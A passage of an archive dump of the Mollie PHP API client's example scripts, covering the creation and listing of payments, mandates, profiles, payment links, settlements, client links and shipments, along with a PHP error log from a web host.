?? $_SERVER['PHP_SELF']); /* * Payment parameters: * amount Amount in EUROs. This example creates a € 27.50 payment. * method Payment method "ideal". * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * metadata Custom metadata that is stored with the payment. * issuer The customer's bank. If empty the customer can select it later. */ $payment = $mollie->payments->create([ "amount" => [ "currency" => "EUR", "value" => "27.50", // You must send the correct number of decimals, thus we enforce the use of strings ], "method" => \Mollie\Api\Types\PaymentMethod::IDEAL, "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "order_id" => $orderId, ], "issuer" => ! empty($_POST["issuer"]) ? $_POST["issuer"] : null, ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/list-payments.php 0000644 00000005700 15107407461 0013553 0 ustar 00 <?php /* * How to list your payments. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Get the all payments for this API key ordered by newest. */ $payments = $mollie->payments->page(); echo "<ul>"; foreach ($payments as $payment) { echo "<li>"; echo "<strong style='font-family: monospace'>" . htmlspecialchars($payment->id) . "</strong><br />"; echo htmlspecialchars($payment->description) . "<br />"; echo htmlspecialchars($payment->amount->currency) . " " . htmlspecialchars($payment->amount->value) . "<br />"; echo "Status: " . htmlspecialchars($payment->status) . "<br />"; if ($payment->hasRefunds()) { echo "Payment has been (partially) refunded.<br />"; } if ($payment->hasChargebacks()) { echo "Payment has been charged back.<br />"; } if ($payment->canBeRefunded() && $payment->amountRemaining->currency === 'EUR' && $payment->amountRemaining->value >= '2.00') { echo " (<a href=\"{$protocol}://{$hostname}{$path}/refund-payment.php?payment_id=" . htmlspecialchars($payment->id) . "\">refund</a>)"; } echo "</li>"; } echo "</ul>"; /** * Get the next set of Payments if applicable */ $nextPayments = $payments->next(); if (! empty($nextPayments)) { echo "<ul>"; foreach ($nextPayments as $payment) { echo "<li>"; echo "<strong style='font-family: monospace'>" . htmlspecialchars($payment->id) . "</strong><br />"; echo htmlspecialchars($payment->description) . "<br />"; echo htmlspecialchars($payment->amount->currency) . " " . htmlspecialchars($payment->amount->value) . "<br />"; echo "Status: " . htmlspecialchars($payment->status) . "<br />"; if ($payment->hasRefunds()) { echo "Payment has been (partially) refunded.<br />"; } if ($payment->hasChargebacks()) { echo "Payment has been charged back.<br />"; } if ($payment->canBeRefunded() && $payment->amountRemaining->currency === 'EUR' && $payment->amountRemaining->value >= '2.00') { echo " (<a href=\"{$protocol}://{$hostname}{$path}/refund-payment.php?payment_id=" . htmlspecialchars($payment->id) . "\">refund</a>)"; } echo "</li>"; } echo "</ul>"; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/create-payment-oauth.php 0000644 00000004432 15107407461 0014777 0 ustar 00 <?php /* * Example 10 - Using OAuth access token to prepare a new payment. */ try { /* * Initialize the Mollie API library with your OAuth access token. */ require "../initialize_with_oauth.php"; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST'] ? : "my.app"; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Since unlike an API key the OAuth access token does NOT belong to a profile, we need to retrieve a profile * so we can specify the profileId-parameter when creating a payment below. */ $profiles = $mollie->profiles->page(); $profile = reset($profiles); /** * Paramaters for creating a payment via oAuth * * @See https://docs.mollie.com/reference/v2/payments-api/create-payment */ $payment = $mollie->payments->create([ "amount" => [ "value" => "10.00", "currency" => "EUR", ], "description" => "My first API payment", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "order_id" => $orderId, ], "profileId" => $profile->id, // This is specifically necessary for payment resources via OAuth access. ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ if (PHP_SAPI === "cli") { echo "Redirect to: " . $payment->getCheckoutUrl() . PHP_EOL; return; } header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/return.php 0000644 00000002076 15107407461 0012264 0 ustar 00 <?php /* * How to show a return page to the customer. * * In this example we retrieve the order stored in the database. * Here, it's unnecessary to use the Mollie API Client. */ /* * NOTE: The examples are using a text file as a database. * Please use a real database like MySQL in production code. */ require_once "../functions.php"; $status = database_read($_GET["order_id"]); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); echo "<p>Your payment status is '" . htmlspecialchars($status) . "'.</p>"; echo "<p>"; echo '<a href="' . $protocol . '://' . $hostname . $path . '/create-payment.php">Create a payment</a><br>'; echo '<a href="' . $protocol . '://' . $hostname . $path . '/create-ideal-payment.php">Create an iDEAL payment</a><br>'; echo '<a href="' . $protocol . '://' . $hostname . $path . '/list-payments.php">List payments</a><br>'; echo "</p>"; examples/payments/create-routed-payment.php 0000644 00000005532 15107407461 0015163 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); require_once __DIR__ . "/../vendor/autoload.php"; require_once __DIR__ . "/functions.php"; /* * Initialize the Mollie API library with your oauth access token. * * See: https://docs.mollie.com/connect/getting-started */ $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setAccessToken("access_dHar4XY7LxsDOtmnkVtjNVWXLSlXsM"); /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Payment parameters: * profileId Your profileId * amount Amount in EUROs. This example creates a € 10,- payment. * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * routing Routing part of a payment to a connected account https://docs.mollie.com/connect/splitting-payments */ $payment = $mollie->payments->create([ "profileId" => "pfl_v9hTwCvYqw", "amount" => [ "currency" => "EUR", "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings ], "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "routing" => [ [ "amount" => [ "currency" => "EUR", "value" => "7.50", ], "destination" => [ "type" => "organization", "organizationId" => "org_23456", ], ], ], ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/error_log 0000644 00000005370 15107407461 0012151 0 ustar 00 [18-Nov-2025 10:27:05 UTC] PHP Warning: require_once(/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php): Failed to open stream: No such file or directory in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 [18-Nov-2025 10:27:05 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php:9 Stack trace: #0 /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/payments/list-methods.php(12): require() #1 {main} thrown in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 [18-Nov-2025 19:59:05 UTC] PHP Warning: require_once(/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php): Failed to open stream: No such file or directory in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 [18-Nov-2025 19:59:05 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php:9 Stack trace: #0 /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/payments/webhook.php(14): require() #1 {main} thrown in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 [19-Nov-2025 16:11:44 UTC] PHP Warning: require_once(/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php): Failed to open stream: No such file or directory in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 [19-Nov-2025 16:11:44 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/../vendor/autoload.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php:9 Stack trace: #0 /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/payments/update-payment.php(12): require() #1 {main} thrown in /home/fluxyjvi/public_html/project/vendor/mollie/mollie-api-php/examples/initialize.php on line 9 examples/payments/webhook.php 0000644 00000003430 15107407461 0012376 0 ustar 00 <?php /* * How to verify Mollie API Payments in a webhook. * * See: https://docs.mollie.com/guides/webhooks */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Retrieve the payment's current state. */ $payment = $mollie->payments->get($_POST["id"]); $orderId = $payment->metadata->order_id; /* * Update the order in the database. */ database_write($orderId, $payment->status); if ($payment->isPaid() && ! $payment->hasRefunds() && ! $payment->hasChargebacks()) { /* * The payment is paid and isn't refunded or charged back. * At this point you'd probably want to start the process of delivering the product to the customer. */ } elseif ($payment->isOpen()) { /* * The payment is open. */ } elseif ($payment->isPending()) { /* * The payment is pending. */ } elseif ($payment->isFailed()) { /* * The payment has failed. */ } elseif ($payment->isExpired()) { /* * The payment is expired. */ } elseif ($payment->isCanceled()) { /* * The payment has been canceled. */ } elseif ($payment->hasRefunds()) { /* * The payment has been (partially) refunded. * The status of the payment is still "paid" */ } elseif ($payment->hasChargebacks()) { /* * The payment has been (partially) charged back. * The status of the payment is still "paid" */ } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/create-routed-payment-with-future-release-date.php 0000644 00000006037 15107407461 0021776 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); require_once __DIR__ . "/../vendor/autoload.php"; require_once __DIR__ . "/functions.php"; /* * Initialize the Mollie API library with your oauth access token. * * See: https://docs.mollie.com/connect/getting-started */ $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setAccessToken("access_dHar4XY7LxsDOtmnkVtjNVWXLSlXsM"); /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Payment parameters: * profileId Your profileId * amount Amount in EUROs. This example creates a € 10,- payment. * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * routing Routing part of a payment to a connected account https://docs.mollie.com/connect/splitting-payments * * For example, the funds for the following payment will only become available on the balance of the connected account on 1 January 2025: */ $payment = $mollie->payments->create([ "profileId" => "pfl_v9hTwCvYqw", "amount" => [ "currency" => "EUR", "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings ], "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "routing" => [ [ "amount" => [ "currency" => "EUR", "value" => "7.50", ], "destination" => [ "type" => "organization", "organizationId" => "org_23456", ], "releaseDate" => "2025-01-01", ], ], ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/create-payment.php 0000644 00000004230 15107407461 0013655 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Payment parameters: * amount Amount in EUROs. This example creates a € 10,- payment. * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * metadata Custom metadata that is stored with the payment. */ $payment = $mollie->payments->create([ "amount" => [ "currency" => "EUR", "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings ], "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "order_id" => $orderId, ], ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/mandates/revoke-mandate.php 0000644 00000001247 15107407461 0013602 0 ustar 00 <?php /* * Revoke a customer mandate */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve an existing customer by his customerId */ $customer = $mollie->customers->get("cst_cUa8HjKBus"); /* * Retrieve an existing mandate by his mandateId */ $mandate = $customer->getMandate("mdt_pa3s7rGnrC"); /* * Revoke the mandate */ $mandate->revoke(); echo "<p>Mandate has been successfully revoked.</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/mandates/list-mandates.php 0000644 00000001334 15107407461 0013442 0 ustar 00 <?php /* * List all customer mandates */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve an existing customer by his customerId */ $customer = $mollie->customers->get("cst_cUa8HjKBus"); /* * List the mandates of this customer */ echo "<ul>"; foreach ($customer->mandates() as $mandate) { echo "<li>" . htmlspecialchars($mandate->id) . " - " . htmlspecialchars($mandate->method) . ": " . htmlspecialchars($mandate->status) . "</li>"; } echo "</ul>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/mandates/create-mandate.php 0000644 00000001611 15107407461 0013545 0 ustar 00 <?php /* * Create a customer mandate via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve the last created customer for this example. * If no customers are created yet, run create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Create a SEPA Direct Debit mandate for the customer */ $mandate = $customer->createMandate([ "method" => \Mollie\Api\Types\MandateMethod::DIRECTDEBIT, "consumerAccount" => 'NL34ABNA0243341423', "consumerName" => 'B. A. Example', ]); echo "<p>Mandate created with id " . $mandate->id . " for customer " . $customer->name . "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/profiles/create-profile.php 0000644 00000001466 15107407461 0013633 0 ustar 00 <?php /* * Create a profile via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize_with_oauth.php"; /** * Create the profile * * @See https://docs.mollie.com/reference/v2/profiles-api/create-profile */ $profile = $mollie->profiles->create([ "name" => "My website name", "website" => "https://www.mywebsite.com", "email" => "info@mywebsite.com", "phone" => "+31208202070", "businessCategory" => "MARKETPLACES", "mode" => "live", ]); echo "<p>Profile created: " . htmlspecialchars($profile->name) . "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "<p>API call failed: " . htmlspecialchars($e->getMessage()) . "</p>"; } examples/profiles/delete-profile.php 0000644 00000001072 15107407461 0013623 0 ustar 00 <?php /* * Delete a profile via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize_with_oauth.php"; /** * Delete a profile via the profileId * * @See https://docs.mollie.com/reference/v2/profiles-api/delete-profile */ $profile = $mollie->profiles->delete("pfl_v9hTwCvYqw"); echo "<p>Profile deleted</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "<p>API call failed: " . htmlspecialchars($e->getMessage()) . "</p>"; } examples/profiles/update-profile.php 0000644 00000001627 15107407461 0013651 0 ustar 00 <?php /* * Updating an existing profile via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize_with_oauth.php"; /* * Retrieve an existing profile by his profileId */ $profile = $mollie->profiles->get("pfl_eA4MSz7Bvy"); /** * Profile fields that can be updated. * * @See https://docs.mollie.com/reference/v2/profiles-api/update-profile */ $profile->name = "Mollie B.V."; $profile->website = 'www.mollie.com'; $profile->email = 'info@mollie.com'; $profile->phone = '0612345670'; $profile->businessCategory = "MARKETPLACES"; $profile->update(); echo "<p>Profile updated: " . htmlspecialchars($profile->name) . "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "<p>API call failed: " . htmlspecialchars($e->getMessage()) . "</p>"; } examples/profiles/list-profiles.php 0000644 00000001340 15107407461 0013515 0 ustar 00 <?php /* * Using OAuth access token to list profiles of an account. */ try { /* * Initialize the Mollie API library with your OAuth access token. */ require "../initialize_with_oauth.php"; /* * Get the all the profiles for this account. */ $profiles = $mollie->profiles->page(); foreach ($profiles as $profile) { echo '<div style="line-height:40px; vertical-align:top">'; echo htmlspecialchars($profile->name) . ' - ' . htmlspecialchars($profile->website) . ' (' . htmlspecialchars($profile->id) . ')'; echo '</div>'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payment-links/create-payment-link.php 0000644 00000002637 15107407461 0015554 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Required Payment Link parameters: * amount Amount in EUROs. This example creates a € 10,- payment. * description Description of the payment. */ $paymentLink = $mollie->paymentLinks->create([ "amount" => [ "currency" => "EUR", "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings ], "description" => "Bicycle tires", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", // optional ]); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $paymentLink->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payment-links/list-payment-links.php 0000644 00000002417 15107407461 0015443 0 ustar 00 <?php /* * How to list your payments. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Get the all payments for this API key ordered by newest. */ $paymentLinks = $mollie->paymentLinks->page(); echo "<ul>"; foreach ($paymentLinks as $paymentLink) { echo "<li>"; echo "<strong style='font-family: monospace'>" . htmlspecialchars($paymentLink->id) . "</strong><br />"; echo htmlspecialchars($paymentLink->description) . "<br />"; echo htmlspecialchars($paymentLink->amount->currency) . " " . htmlspecialchars($paymentLink->amount->value) . "<br />"; echo "Link: " . htmlspecialchars($paymentLink->getCheckoutUrl()) . "<br />"; echo "</li>"; } echo "</ul>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/settlements/list-settlements.php 0000644 00000006342 15107407461 0014774 0 ustar 00 <?php /* * Using OAuth access token to list settlements of an account. */ try { /* * Initialize the Mollie API library with your OAuth access token. */ require "../initialize_with_oauth.php"; /* * Get the all the settlements for this account. */ $settlements = $mollie->settlements->page(); echo '<ul>'; foreach ($settlements as $settlement) { echo '<li><b>Settlement ' . htmlspecialchars($settlement->reference) . ':</b> (' . htmlspecialchars($settlement->createdAt) . ')'; echo '<table border="1"><tr><th>Month</th><th>Description</th><th>Count</th><th>Net</th><th>VAT</th><th>Gross</th></tr>'; // Convert from stdClass to array $settlement_periods = json_decode(json_encode($settlement->periods), true); foreach ($settlement_periods as $year => $months) { foreach ($months as $month => $monthly_settlement) { foreach ($monthly_settlement['revenue'] as $revenue) { echo '<tr>'; echo '<td>' . htmlspecialchars($year . '-' . $month) . '</td>'; echo '<td>' . htmlspecialchars($revenue['description']) . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['count']) . ' x</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountNet']['value'] ? $revenue['amountNet']['value'] . " " . $revenue['amountNet']['currency'] : '-') . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountVat']['value'] ? $revenue['amountVat']['value'] . " " . $revenue['amountVat']['currency'] : '-') . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountGross']['value'] ? $revenue['amountGross']['value'] . " " . $revenue['amountGross']['currency'] : '-') . '</td>'; echo '</tr>'; } foreach ($monthly_settlement['costs'] as $revenue) { echo '<tr>'; echo '<td>' . htmlspecialchars($year . '-' . $month) . '</td>'; echo '<td>' . htmlspecialchars($revenue['description']) . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['count']) . ' x</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountNet']['value'] ? $revenue['amountNet']['value'] . " " . $revenue['amountNet']['currency'] : '-') . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountVat']['value'] ? $revenue['amountVat']['value'] . " " . $revenue['amountVat']['currency'] : '-') . '</td>'; echo '<td align="right">' . htmlspecialchars($revenue['amountGross']['value'] ? $revenue['amountGross']['value'] . " " . $revenue['amountGross']['currency'] : '-') . '</td>'; echo '</tr>'; } } } echo '<tr><th colspan="5" align="right">TOTAL</th><th align="right">' . htmlspecialchars($settlement->amount->value . " " . $settlement->amount->currency) . '</th></tr>'; echo '</table>'; echo '</li>'; } echo '</ul>'; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/client-links/create-client-link.php 0000644 00000004051 15107407461 0015146 0 ustar 00 <?php /* * How to create a new client link in the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * ClientLink creation parameters. * * See: https://docs.mollie.com/reference/v2/client-links-api/create-client-link */ $clientLink = $mollie->clientLinks->create([ "owner" => [ "email" => "foo@test.com", "givenName" => "foo", "familyName" => "bar", "locale" => "nl_NL", ], "name" => "Foo Company", "address" => [ "streetAndNumber" => "Keizersgracht 313", "postalCode" => "1016 EE", "city" => "Amsterdam", "country" => "nl", ], "registrationNumber" => "30204462", "vatNumber" => "NL123456789B01", ]); /** * Get the redirect url for the client link, by passing in the 'client_id' of the your app, * a random generated string as 'state' to prevent CSRF attacks. This will be reflected in * the state query parameter when the user returns to the redirect_uri after authorizing your app. * * For more info see: https://docs.mollie.com/reference/oauth2/authorize#parameters */ $redirectUrl = $clientLink->getRedirectUrl("app_j9Pakf56Ajta6Y65AkdTtAv", "decafbad", "force", [ 'onboarding.read', 'onboarding.write', ]); /* * Send the customer off to finalize the organization creation. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $redirectUrl, true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/shipments/create-shipment-all.php 0000644 00000001473 15107407461 0014755 0 ustar 00 <?php /* * Create a shipment for an entire order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Create a shipment for the entire order with ID "ord_8wmqcHMN4U" * * See: https://docs.mollie.com/reference/v2/shipments-api/create-shipment */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $shipment = $order->shipAll(); echo 'A shipment with ID ' . $shipment->id. ' has been created for your order with ID ' . $order->id . '.'; foreach ($shipment->lines as $line) { echo $line->name . ' - status: <b>' . $line->status . '</b>.'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/shipments/get-shipment.php 0000644 00000001467 15107407461 0013526 0 ustar 00 <?php /* * Retrieve a shipment using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve a shipment with ID "shp_3wmsgCJN4U" for the order with ID "ord_8wmqcHMN4U". * * See: https://docs.mollie.com/reference/v2/shipments-api/get-shipment */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $shipment = $order->getShipment("shp_3wmsgCJN4U"); echo 'Shipment with ID ' . $shipment->id. ' for order with ID ' . $order->id . '.'; foreach ($shipment->lines as $line) { echo $line->name . ' - status: <b>' . $line->status . '</b>.'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/shipments/create-shipment-partial.php 0000644 00000002447 15107407461 0015643 0 ustar 00 <?php /* * Example 32 - Create a shipment for part of an order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "./initialize.php"; /* * Create a shipment for only two lines of the order with ID "ord_8wmqcHMN4U". * * See: https://docs.mollie.com/reference/v2/shipments-api/create-shipment */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $lineId1 = $order->lines()[0]->id; $lineId2 = $order->lines()[1]->id; $shipment = $order->createShipment( [ 'lines' => [ [ 'id' => $lineId1, // assume all is shipped if no quantity is specified ], [ 'id' => $lineId2, 'quantity' => 1, // you can set the quantity if not all is shipped at once ], ], ] ); echo 'A shipment with ID ' . $shipment->id. ' has been created for your order with ID ' . $order->id . '.'; foreach ($shipment->lines as $line) { echo $line->name . '- status: <b>' . $line->status . '</b>.'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/shipments/list-shipments.php 0000644 00000001547 15107407461 0014104 0 ustar 00 <?php /* * List shipment for an order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Listing shipments for the order with ID "ord_8wmqcHMN4U". * * See: https://docs.mollie.com/reference/v2/shipments-api/get-shipment */ $order = 